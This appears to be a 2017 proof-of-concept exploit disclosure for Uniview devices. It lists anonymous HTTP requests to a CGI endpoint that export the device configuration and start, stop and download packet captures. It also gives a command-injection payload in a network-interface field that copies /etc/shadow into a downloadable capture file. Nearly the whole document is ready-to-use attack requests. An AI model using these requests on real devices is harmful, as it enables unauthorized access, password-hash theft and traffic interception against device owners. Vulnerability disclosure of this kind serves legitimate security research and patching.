Uniview – Remote Command Execution / Export Config (PoC)
[STX] Subject: Uniview RCE and export config PoC Researcher: bashis <mcw noemail eu> (October 2017) Attack Vector: Remote Authentication: Anonymous (no credentials needed) [Export config] http://IP:PORT/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} -[tcpdump]- [check active capture] http://IP:PORT/cgi-bin/main-cgi?json={"cmd":263,"szUserName":"","u32UserLoginHandle":-1} [start capture] http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"} [stop capture] http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":0,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"} [download capture] http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1} -[Remote Command Execution]- [Get /etc/shadow] http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"} [get the result] http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1} [ETX] |